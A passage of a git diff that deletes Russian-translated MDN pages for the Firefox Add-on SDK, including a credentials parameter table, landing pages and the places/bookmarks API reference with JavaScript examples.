- <p>For HTTP Authentication credentials, the realm for which the credential was requested. For add-on credentials, a name for the credential.</p>
- </td>
- </tr>
- <tr>
- <td>usernameField</td>
- <td>string</td>
- <td>
- <p>The value of the <code>name</code> attribute for the username input in a form. Omitted for add-on credentials and HTTP Authentication credentials.</p>
- </td>
- </tr>
- <tr>
- <td>passwordField</td>
- <td>string</td>
- <td>
- <p>The value of the <code>name</code> attribute for the password input in a form. Omitted for add-on credentials and HTTP Authentication credentials.</p>
- </td>
- </tr>
- <tr>
- <td>onComplete</td>
- <td>function</td>
- <td>
- <p>The callback function that is called once the function has completed successfully.</p>
- </td>
- </tr>
- <tr>
- <td>onError</td>
- <td>function</td>
- <td>
- <p>The callback function that is called if the function failed. The callback is passed an <code>error</code> argument: this is an <a href="https://developer.mozilla.org/en/nsIException">nsIException</a> object.</p>
- </td>
- </tr>
- </tbody>
-</table>
-<p> </p>
diff --git a/files/ru/mozilla/add-ons/sdk/index.html b/files/ru/mozilla/add-ons/sdk/index.html
deleted file mode 100644
index 6c8217da66..0000000000
--- a/files/ru/mozilla/add-ons/sdk/index.html
+++ /dev/null
@@ -1,90 +0,0 @@
----
-title: Add-on SDK
-slug: Mozilla/Add-ons/SDK
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Add-on_SDK
----
-<p><span id="result_box" lang="ru"><span class="hps">C помощью </span> <span class="hps">SDK</span> <span class="hps">вы можете создавать дополнения для</span></span><span lang="ru"> <span class="hps">Firefox</span> <span>, используя стандартные</span> <span class="atn hps">веб-</span><span>технологии</span><span>:</span> <span class="hps">JavaScript, HTML</span><span>,</span> <span class="hps">CSS</span>. <span>SDK</span> <span class="hps">включает в себя</span> <span class="hps">API-интерфейсы</span> <span class="hps">JavaScript</span><span>, которые можно использовать</span> <span class="hps">для создания</span> дополнений <span class="hps">и инструменты</span> <span class="hps">для</span> <span class="hps">создания, запуска</span><span>,</span> <span class="hps">тестирования</span> <span class="hps">и</span> <span class="hps">упаковки</span> дополнений<span class="hps">.</span></span></p>
-
-<hr>
-<h3 id="Учебники">Учебники</h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials#getting-started">Начало</a></dt>
- <dd>Как <a href="/en-US/Add-ons/SDK/Tutorials/Installation">установить SDK</a> и <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">использовать CFX</a> для разработки, тестирования и упаковки дополнений.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials#interact-with-the-browser">Взаимодействие с браузером</a></dt>
- <dd><a href="/en-US/Add-ons/SDK/Tutorials/Open_a_Web_Page">Открытие веб-страниц</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Listen_For_Page_Load">прослушивание загрузки страницы</a>, и <a href="/en-US/Add-ons/SDK/Tutorials/List_Open_Tabs">список загруженных страниц</a>.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials#development-techniques">Методы разработки</a></dt>
- <dd>Узнайте об распространённых методах разработки, таких как <a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">модульное тестирование</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Logging">регистрация</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Creating_Reusable_Modules">создание повторных модулей</a>, <a href="/ru/docs/%D0%9B%D0%BE%D0%BA%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F">локализация</a>, и <a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">мобильная разработка</a>.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials#create-user-interfaces">Создание компонентов пользовательского интерфейса</a></dt>
- <dd>Создание компонентов пользовательского интерфейса, такие как <a href="/en-US/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar">кнопки панели инструментов </a>, <a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">контекстные меню</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">пункты меню</a>, и <a href="/en-US/Add-ons/SDK/Tutorials/Display_a_Popup">диалоговые окна</a>.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials#modify-web-pages">Изменение веб-страниц</a></dt>
- <dd>Изменение страниц, которые <a href="/en-US/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL">соответствуют заданному URL шаблону</a> или динамически <a href="/en-US/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab">изменить заданную вкладку</a>.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tutorials/Annotator">Соединяем всё вместе</a></dt>
- <dd>Обучение на примере расширения Комментатор.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Инструкции">Инструкции</h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Guides#contributors-guide">Руководство для разработчика НРП</a></dt>
- <dd>Learn <a href="/en-US/Add-ons/SDK/Guides/Getting_Started">how to start contributing</a> to the SDK, and about the most important idioms used in the SDK code, such as <a href="/en-US/Add-ons/SDK/Guides/Modules">modules</a>, <a href="/en-US/Add-ons/SDK/Guides/Classes_and_Inheritance">classes and inheritance</a>, <a href="/en-US/Add-ons/SDK/Guides/Private_Properties">private properties</a>, and <a href="/en-US/Add-ons/SDK/Guides/Content_Processes">content processes</a>.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Guides#sdk-infrastructure">НРП инфраструктура</a></dt>
- <dd>Aspects of the SDK's underlying technology: <a href="/en-US/Add-ons/SDK/Guides/Module_structure_of_the_SDK">modules</a>, the <a href="/en-US/Add-ons/SDK/Guides/Program_ID">Program ID</a>, and the rules defining <a href="/en-US/Add-ons/SDK/Guides/Firefox_Compatibility">Firefox compatibility</a>.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">Скрипты содержимого</a></dt>
- <dd>A detailed guide to working with content scripts.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Guides#sdk-idioms">Особенности НРП</a></dt>
- <dd>The SDK's <a href="/en-US/Add-ons/SDK/Guides/Working_with_Events">event framework</a> and the <a href="/en-US/Add-ons/SDK/Guides/Two_Types_of_Scripts">distinction between add-on scripts and content scripts</a>.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">XUL перемещение</a></dt>
- <dd>A guide to <a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">porting XUL add-ons to the SDK</a>. This guide includes a <a href="/en-US/Add-ons/SDK/Guides/XUL_vs_SDK">comparison of the two toolsets</a> and a <a href="/en-US/Add-ons/SDK/Guides/Porting_the_Library_Detector">working example</a> of porting a XUL add-on.</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h3 id="Справочник">Справочник</h3>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/High-Level_APIs">Высокоуровневый ИПП</a></dt>
- <dd>Справочная документация для высокоуровневого ИПП в НРП.</dd>
- <dt><a href="/en-US/Add-ons/SDK/Tools">Справочник программ</a></dt>
- <dd>Справочная документация для <a href="/en-US/Add-ons/SDK/Tools/cfx">cfx программы</a> используемая для разработки, тестирования, и упаковывания расширений, глобальная <a href="/en-US/Add-ons/SDK/Tools/console">console</a> используемая для протоколирования, и файл <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a>.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Add-ons/SDK/Low-Level_APIs">Низкоуровневый ИПП</a></dt>
- <dd>Справочная документация для низкоуровневого ИПП в НРП.</dd>
-</dl>
-</div>
-</div>
-
-<p> </p>
-
-<div class="toppageup" id="js-toppageup" style="display: none;">
-<div class="toppageup-link"><span>наверх</span></div>
-
-<div class="toppageup-add" id="js-toppageup-add"><span>в закладки</span></div>
-</div>
diff --git a/files/ru/mozilla/add-ons/sdk/low-level_apis/index.html b/files/ru/mozilla/add-ons/sdk/low-level_apis/index.html
deleted file mode 100644
index 8cd08458f0..0000000000
--- a/files/ru/mozilla/add-ons/sdk/low-level_apis/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Low-Level APIs
-slug: Mozilla/Add-ons/SDK/Low-Level_APIs
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Add-on_SDK/Low-Level_APIs
----
-<p>Modules in this section implement low-level APIs. These modules fall roughly into three categories:</p>
-<ul>
- <li>
- <p>fundamental utilities such as <a href="/en-US/Add-ons/SDK/Low-Level_APIs/util_collection">collection</a>. Many add-ons are likely to want to use modules from this category.</p>
- </li>
- <li>
- <p>building blocks for higher level modules, such as <a href="/en-US/Add-ons/SDK/Low-Level_APIs/event_core">events</a> and <a href="/en-US/Add-ons/SDK/Low-Level_APIs/content_worker">worker</a>. You're more likely to use these if you are building your own modules that implement new APIs, thus extending the SDK itself.</p>
- </li>
- <li>
- <p>privileged modules that expose powerful low-level capabilities such as <a href="/en-US/Add-ons/SDK/Low-Level_APIs/window_utils">window/utils</a> and <a href="/en-US/Add-ons/SDK/Low-Level_APIs/net_xhr">net/xhr</a>. You can use these modules in your add-on if you need to, but should be aware that the cost of privileged access is the need to take more elaborate security precautions. In many cases these modules have simpler, more restricted analogs among the "High-Level APIs" (for example, <a href="/en-US/Add-ons/SDK/High-Level_APIs/windows">windows</a> or <a href="/en-US/Add-ons/SDK/High-Level_APIs/request">request</a>).</p>
- </li>
-</ul>
-<p>These modules are still in active development, and we expect to make incompatible changes to them in future releases.</p>
-<p>{{ LandingPageListSubpages ("/en-US/Add-ons/SDK/Low-Level_APIs", 5) }}</p>
-<p> </p>
diff --git a/files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html b/files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html
deleted file mode 100644
index 299e234fb2..0000000000
--- a/files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html
+++ /dev/null
@@ -1,595 +0,0 @@
----
-title: places/bookmarks
-slug: Mozilla/Add-ons/SDK/Low-Level_APIs/places_bookmarks
-translation_of: Archive/Add-ons/Add-on_SDK/Low-Level_APIs/places_bookmarks
----
-<div class="note">
-<p>Unstable</p>
-</div>
-
-<p><span class="seoSummary">Создание, изменение и удаление закладок.</span></p>
-
-<h2 id="Usage">Usage</h2>
-
-<p>Этот модуль экспортирует:</p>
-
-<ul>
- <li>три конструктора: <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Bookmark(options)">Bookmark</a>, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Group(options)">Group</a>, and <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Separator(options)">Separator</a>, corresponding to the types of objects, referred to as <strong>bookmark items</strong>, in the Bookmarks database in Firefox</li>
- <li>две дополнительные функции, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#save(bookmarkItems.2C_options)"><code>save()</code></a> для создания, обновения и удаления закладок, и <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#search(queries.2C_options)"><code>search()</code></a> для получения закладок соответствующих параметрам запроса.</li>
-</ul>
-
-<p><code>save()</code> и <code>search()</code> асинхронные функции: they synchronously return a <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#PlacesEmitter"><code>PlacesEmitter</code></a> object, which then asynchronously emits events as the operation progresses and completes.</p>
-
-<p>Each retrieved bookmark item represents only a snapshot of state at a specific time. The module does not automatically sync up a <code>Bookmark</code> instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user.</p>
-
-<h3 id="Примеры">Примеры</h3>
-
-<h4 id="Создание_новой_закладки">Создание новой закладки</h4>
-
-<pre class="brush: js">let { Bookmark, save } = require("sdk/places/bookmarks");
-
-// Create a new bookmark instance, unsaved
-let bookmark = Bookmark({ title: "Mozilla", url: "http://mozilla.org" });
-
-// Attempt to save the bookmark instance to the Bookmarks database
-// and store the emitter
-let emitter = save(bookmark);
-
-// Listen for events
-emitter.on("data", function (saved, inputItem) {
- // on a "data" event, an item has been updated, passing in the
- // latest snapshot from the server as `saved` (with properties
- // such as `updated` and `id`), as well as the initial input
- // item as `inputItem`
- console.log(saved.title === inputItem.title); // true
- console.log(saved !== inputItem); // true
- console.log(inputItem === bookmark); // true
-}).on("end", function (savedItems, inputItems) {
- // Similar to "data" events, except "end" is an aggregate of
- // all progress events, with ordered arrays as `savedItems`
- // and `inputItems`
-});</pre>
-
-<h4 id="Создание_нескольких_закладок_в_группе">Создание нескольких закладок в группе</h4>
-
-<pre class="brush: js">let { Bookmark, Group, save } = require("sdk/places/bookmarks");
-
-let group = Group({ title: "Guitars" });
-let bookmarks = [
- Bookmark({ title: "Ran", url: "http://ranguitars.com", group: group }),
- Bookmark({ title: "Ibanez", url: "http://ibanez.com", group: group }),
- Bookmark({ title: "ESP", url: "http://espguitars.com", group: group })
-];
-
-// Save `bookmarks` array -- notice we don't have `group` in the array,
-// although it needs to be saved since all bookmarks are children
-// of `group`. This will be saved implicitly.
-
-save(bookmarks).on("data", function (saved, input) {
- // A data event is called once for each item saved, as well
- // as implicit items, like `group`
- console.log(input === group || ~bookmarks.indexOf(input)); // true
-}).on("end", function (saves, inputs) {
- // like the previous example, the "end" event returns an
- // array of all of our updated saves. Only explicitly saved
- // items are returned in this array -- the `group` won't be
- // present here.
- console.log(saves[0].title); // "Ran"
- console.log(saves[2].group.title); // "Guitars"
-});</pre>
-
-<h4 id="Поиск_закладок">Поиск закладок</h4>
-
-<p>Bookmarks can be queried with the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#search(queries.2C_options)"><code>search()</code></a> function, which accepts a query object or an array of query objects, as well as a query options object. Query properties are AND'd together within a single query object, but are OR'd together across multiple query objects.</p>
-
-<pre class="brush: js">let { search, UNSORTED } = require("sdk/places/bookmarks");
-
-// Simple query with one object
-search(
- { query: "firefox" },
- { sort: "title" }
-).on(end, function (results) {
- // results matching any bookmark that has "firefox"
- // in its URL, title or tag, sorted by title
-});
-
-// Multiple queries are OR'd together
-search(
- [{ query: "firefox" }, { group: UNSORTED, tags: ["mozilla"] }],
- { sort: "title" }
-).on("end", function (results) {
- // Our first query is the same as the simple query above;
- // all of those results are also returned here. Since multiple
- // queries are OR'd together, we also get bookmarks that
- // match the second query. The second query's properties
- // are AND'd together, so results that are in the platform's unsorted
- // bookmarks folder, AND are also tagged with 'mozilla', get returned
- // as well in this query
-});</pre>
-
-<h2 id="Globals">Globals</h2>
-
-<h3 id="Constructors">Constructors</h3>
-
-<h4 class="addon-sdk-api-name" id="Bookmark(options)"><code>Bookmark(options)</code></h4>
-
-<p>Creates an unsaved bookmark instance.</p>
-
-<h5 id="Parameters">Parameters</h5>
-
-<p><strong>options : object</strong><br>
- Required options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>title</td>
- <td>string</td>
- <td>
- <p>The title for the bookmark. Required.</p>
- </td>
- </tr>
- <tr>
- <td>url</td>
- <td>string</td>
- <td>
- <p>The URL for the bookmark. Required.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Optional options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>group</td>
- <td>Group</td>
- <td>
- <p>The parent group that the bookmark lives under. Defaults to the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#UNSORTED">Bookmarks.UNSORTED</a> group.</p>
- </td>
- </tr>
- <tr>
- <td>index</td>
- <td>number</td>
- <td>
- <p>The index of the bookmark within its group. Last item within the group by default.</p>
- </td>
- </tr>
- <tr>
- <td>tags</td>
- <td>set</td>
- <td>
- <p>A set of tags to be applied to the bookmark.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h4 class="addon-sdk-api-name" id="Group(options)"><code>Group(options)</code></h4>
-
-<p>Creates an unsaved bookmark group instance.</p>
-
-<h5 id="Parameters_2">Parameters</h5>
-
-<p><strong>options : object</strong><br>
- Required options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>title</td>
- <td>string</td>
- <td>
- <p>The title for the group. Required.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Optional options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>group</td>
- <td>Group</td>
- <td>
- <p>The parent group that the bookmark group lives under. Defaults to the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#UNSORTED">Bookmarks.UNSORTED</a> group.</p>
- </td>
- </tr>
- <tr>
- <td>index</td>
- <td>number</td>
- <td>
- <p>The index of the bookmark group within its parent group. Last item within the group by default.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h4 class="addon-sdk-api-name" id="Separator(options)"><code>Separator(options)</code></h4>
-
-<p>Creates an unsaved bookmark separator instance.</p>
-
-<h5 id="Parameters_3">Parameters</h5>
-
-<p><strong>options : object</strong><br>
- Optional options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>group</td>
- <td>Group</td>
- <td>
- <p>The parent group that the bookmark group lives under. Defaults to the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#UNSORTED">Bookmarks.UNSORTED</a> group.</p>
- </td>
- </tr>
- <tr>
- <td>index</td>
- <td>number</td>
- <td>
- <p>The index of the bookmark group within its parent group. Last item within the group by default.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Functions">Functions</h3>
-
-<h4 class="addon-sdk-api-name" id="save(bookmarkItems_options)"><code>save(bookmarkItems, options)</code></h4>
-
-<p>Creating, saving, and deleting bookmarks are all done with the <code>save()</code> function. This function takes in any of:</p>
-
-<ul>
- <li>a bookmark item (Bookmark, Group, Separator)</li>
- <li>a duck-typed object (the relative properties for a bookmark item, in addition to a <code>type</code> property of <code>'bookmark'</code>, <code>'group'</code>, or <code>'separator'</code>)</li>
- <li>an array of bookmark items.</li>
-</ul>
-
-<p>All of the items passed in are pushed to the platform and are either created, updated or deleted.</p>
-
-<ul>
- <li>adding items: if passing in freshly instantiated bookmark items or a duck-typed object, the item is created on the platform.</li>
- <li>updating items: for an item referenced from a previous <code>save()</code> or from the result of a <code>search()</code> query, changing the properties and calling <code>save()</code> will update the item on the server.</li>
- <li>deleting items: to delete a bookmark item, pass in a bookmark item with a property <code>remove</code> set to <code>true</code>.</li>
-</ul>
-
-<p>The function returns a <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#PlacesEmitter"><code>PlacesEmitter</code></a> that emits a <code>data</code> event for each item as it is saved, and an <code>end</code> event when all items have been saved.</p>
-
-<pre class="brush: js">let { Bookmark, Group } = require("sdk/places/bookmarks");
-
-let myGroup = Group({ title: "My Group" });
-let myBookmark = Bookmark({
- title: "Moz",
- url: "http://mozilla.com",
- group: myGroup
-});
-
-save(myBookmark).on("data", function (item, inputItem) {
- // The `data` event returns the latest snapshot from the
- // host, so this is a new instance of the bookmark item,
- // where `item !== myBookmark`. To match it with the input item,
- // use the second argument, so `inputItem === myBookmark`
-
- // All explicitly saved items have data events called, as
- // well as implicitly saved items. In this case,
- // `myGroup` has to be saved before `myBookmark`, since
- // `myBookmark` is a child of `myGroup`. `myGroup` will
- // also have a `data` event called for it.
-}).on("end", function (items, inputItems) {
- // The `end` event returns all items that are explicitly
- // saved. So `myGroup` will not be in this array,
- // but `myBookmark` will be.
- // `inputItems` matches the initial input as an array,
- // so `inputItems[0] === myBookmark`
-});
-
-// Saving multiple bookmarks, as duck-types in this case
-
-let bookmarks = [
- { title: "mozilla", url: "http://mozilla.org", type: "bookmark" },
- { title: "firefox", url: "http://firefox.com", type: "bookmark" },
- { title: "twitter", url: "http://twitter.com", type: "bookmark" }
-];
-
-save(bookmarks).on("data", function (item, inputItem) {
- // Each item in `bookmarks` has its own `data` event
-}).on("end", function (results, inputResults) {
- // `results` is an array of items saved in the same order
- // as they were passed in.
-});</pre>
-
-<h5 id="Parameters_4">Parameters</h5>
-
-<p><strong>bookmarkItems : bookmark|group|separator|array</strong><br>
- A bookmark item (<a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Bookmark">Bookmark</a>, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Group">Group</a>, <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Separator">Separator</a>), or an array of bookmark items to be saved.</p>
-
-<p><strong>options : object</strong><br>
- Optional options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>resolve</td>
- <td>function</td>
- <td>
- <p>A resolution function that is invoked during an attempt to save a bookmark item that is not derived from the latest state from the platform. Invoked with two arguments, <code>mine</code> and <code>platform</code>, where <code>mine</code> is the item that is being saved, and <code>platform</code> is the current state of the item on the item. The object returned from this function is what is saved on the platform. By default, all changes on an outdated bookmark item overwrite the platform's bookmark item.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h5 id="Returns">Returns</h5>
-
-<p><strong>PlacesEmitter</strong> : Returns a <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#PlacesEmitter">PlacesEmitter</a>.</p>
-
-<h4 class="addon-sdk-api-name" id="remove(items)"><code>remove(items)</code></h4>
-
-<p>A helper function that takes in a bookmark item, or an <code>Array</code> of several bookmark items, and sets each item's <code>remove</code> property to true. This does not remove the bookmark item from the database: it must be subsequently saved.</p>
-
-<pre class="brush: js">let { search, save, remove } = require("sdk/places/bookmarks");
-
-search({ tags: ["php"] }).on("end", function (results) {
- // The search returns us all bookmark items that are
- // tagged with `"php"`.
-
- // We then pass `results` into the remove function to mark
- // all items to be removed, which returns the new modified `Array`
- // of items, which is passed into save.
- save(remove(results)).on("end", function (results) {
- // items tagged with `"php"` are now removed!
- });
-})</pre>
-
-<h5 id="Parameters_5">Parameters</h5>
-
-<p><strong>items : Bookmark|Group|Separator|array</strong><br>
- A bookmark item, or <code>Array</code> of bookmark items to be transformed to set their <code>remove</code> property to <code>true</code>.</p>
-
-<h5 id="Returns_2">Returns</h5>
-
-<p><strong>array</strong> : An array of the transformed bookmark items.</p>
-
-<h4 class="addon-sdk-api-name" id="search(queries_options)"><code>search(queries, options)</code></h4>
-
-<p>Queries can be performed on bookmark items by passing in one or more query objects, each of which is given one or more properties.</p>
-
-<p>Within each query object, the properties are AND'd together: so only objects matching all properties are retrieved. Across query objects, the results are OR'd together, meaning that if an item matches any of the query objects, it will be retrieved.</p>
-
-<p>For example, suppose we called <code>search()</code> with two query objects:</p>
-
-<pre class="brush: js">[{ url: "mozilla.org", tags: ["mobile"]},
-{ tags: ["firefox-os"]}]</pre>
-
-<p>This will return:</p>
-
-<ul>
- <li>all bookmark items from mozilla.org that are also tagged "mobile"</li>
- <li>all bookmark items that are tagged "firefox-os"</li>
-</ul>
-
-<p>An <code>options</code> object may be used to determine overall settings such as sort order and how many objects should be returned.</p>
-
-<h5 id="Parameters_6">Parameters</h5>
-
-<p><strong>queries : object|array</strong><br>
- An <code>Object</code> representing a query, or an <code>Array</code> of <code>Objects</code> representing queries. Each query object can take several properties, which are queried against the bookmarks database. Each property is AND'd together, meaning that bookmarks must match each property within a query object. Multiple query objects are then OR'd together.</p>
-
-<p><strong>options : object</strong><br>
- Optional options:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Type</th>
- <th scope="col"> </th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>count</td>
- <td>number</td>
- <td>
- <p>The number of bookmark items to return. If left undefined, no limit is set.</p>
- </td>
- </tr>
- <tr>
- <td>sort</td>
- <td>string</td>
- <td>
- <p>A string specifying how the results should be sorted. Possible options are <code>'title'</code>, <code>'date'</code>, <code>'url'</code>, <code>'visitCount'</code>, <code>'dateAdded'</code> and <code>'lastModified'</code>.</p>
- </td>
- </tr>
- <tr>
- <td>descending</td>
- <td>boolean</td>
- <td>
- <p>A boolean specifying whether the results should be in descending order. By default, results are in ascending order.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Properties">Properties</h3>
-
-<h4 class="addon-sdk-api-name" id="MENU"><code>MENU</code></h4>
-
-<p>This is a constant, default <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Group"><code>Group</code></a> on the Firefox platform, the <strong>Bookmarks Menu</strong>. It can be used in queries or specifying the parent of a bookmark item, but it cannot be modified.</p>
-
-<h4 class="addon-sdk-api-name" id="TOOLBAR"><code>TOOLBAR</code></h4>
-
-<p>This is a constant, default <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Group"><code>Group</code></a> on the Firefox platform, the <strong>Bookmarks Toolbar</strong>. It can be used in queries or specifying the parent of a bookmark item, but it cannot be modified.</p>
-
-<h4 class="addon-sdk-api-name" id="UNSORTED"><code>UNSORTED</code></h4>
-
-<p>This is a constant, default <a href="/en-US/Add-ons/SDK/Low-Level_APIs/places_bookmarks#Group"><code>Group</code></a> on the Firefox platform, the <strong>Unsorted Bookmarks</strong> group. It can be used in queries or specifying the parent of a bookmark item, but it cannot be modified.</p>
-
-<h2 id="Bookmark">Bookmark</h2>
-
-<h3 id="Properties_2">Properties</h3>
-
-<h4 class="addon-sdk-api-name" id="title"><code>title</code></h4>
-
-<p>The bookmark's title.</p>
-
-<h4 class="addon-sdk-api-name" id="url"><code>url</code></h4>
-
-<p>The bookmark's URL.</p>
-
-<h4 class="addon-sdk-api-name" id="group"><code>group</code></h4>
-
-<p>The group instance that the bookmark lives under.</p>
-
-<h4 class="addon-sdk-api-name" id="index"><code>index</code></h4>
-
-<p>The index of the bookmark within its group.</p>
-
-<h4 class="addon-sdk-api-name" id="updated"><code>updated</code></h4>
-
-<p>A Unix timestamp indicating when the bookmark was last updated on the platform.</p>
-
-<h4 class="addon-sdk-api-name" id="tags"><code>tags</code></h4>
-
-<p>A <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a> of tags that the bookmark is tagged with.</p>
-
-<h2 id="Group">Group</h2>
-
-<h3 id="Properties_3">Properties</h3>
-
-<h4 class="addon-sdk-api-name" id="title_2"><code>title</code></h4>
-
-<p>The bookmark group's title.</p>
-
-<h4 class="addon-sdk-api-name" id="group_2"><code>group</code></h4>
-
-<p>The group instance that the bookmark group lives under.</p>
-
-<h4 class="addon-sdk-api-name" id="index_2"><code>index</code></h4>
-
-<p>The index of the bookmark group within its group.</p>
-
-<h4 class="addon-sdk-api-name" id="updated_2"><code>updated</code></h4>
-
-<p>A Unix timestamp indicating when the bookmark was last updated on the platform.</p>
-
-<h2 id="Separator">Separator</h2>
-
-<h3 id="Properties_4">Properties</h3>
-
-<h4 class="addon-sdk-api-name" id="group_3"><code>group</code></h4>
-
-<p>The group instance that the bookmark group lives under.</p>
-
-<h4 class="addon-sdk-api-name" id="index_3"><code>index</code></h4>
-
-<p>The index of the bookmark group within its group.</p>
-
-<h4 class="addon-sdk-api-name" id="updated_3"><code>updated</code></h4>
-
-<p>A Unix timestamp indicating when the bookmark was last updated on the platform.</p>
-
-<h2 id="PlacesEmitter">PlacesEmitter</h2>
-
-<p>The <code>PlacesEmitter</code> is not exported from the module, but returned from the <code>save</code> and <code>search</code> functions. The <code>PlacesEmitter</code> inherits from <a href="/en-US/Add-ons/SDK/Low-Level_APIs/event_target"><code>event/target</code></a>, and emits <code>data</code>, <code>error</code>, and <code>end</code>.</p>
-
-<p><code>data</code> events are emitted for every individual operation (such as: each item saved, or each item found by a search query), whereas <code>end</code> events are emitted as the aggregate of an operation, passing an array of objects into the handler.</p>
-
-<h3 id="Events">Events</h3>
-
-<h4 class="addon-sdk-api-name" id="data"><code>data</code></h4>
-
-<p>The <code>data</code> event is emitted when a bookmark item that was passed into the <code>save</code> method has been saved to the platform. This includes implicit saves that are dependencies of the explicit items saved. For example, when creating a new bookmark group with two bookmark items as its children, and explicitly saving the two bookmark children, the unsaved parent group will also emit a <code>data</code> event.</p>
-
-<pre class="brush: js">let { Bookmark, Group, save } = require("sdk/places/bookmarks");
-
-let group = Group({ title: "my group" });
-let bookmarks = [
- Bookmark({ title: "mozilla", url: "http://mozilla.com", group: group }),
- Bookmark({ title: "w3", url: "http://w3.org", group: group })
-];
-
-save(bookmarks).on("data", function (item) {
- // This function will be called three times:
- // once for each bookmark saved
- // once for the new group specified implicitly
- // as the parent of the two items
-});</pre>
-
-<p>The <code>data</code> event is also called for <code>search</code> requests, with each result being passed individually into its own <code>data</code> event.</p>
-
-<pre class="brush: js">let { search } = require("sdk/places/bookmarks");
-
-search({ query: "firefox" }).on("data", function (item) {
- // each bookmark item that matches the query will
- // be called in this function
-});</pre>
-
-<h5 id="Arguments">Arguments</h5>
-
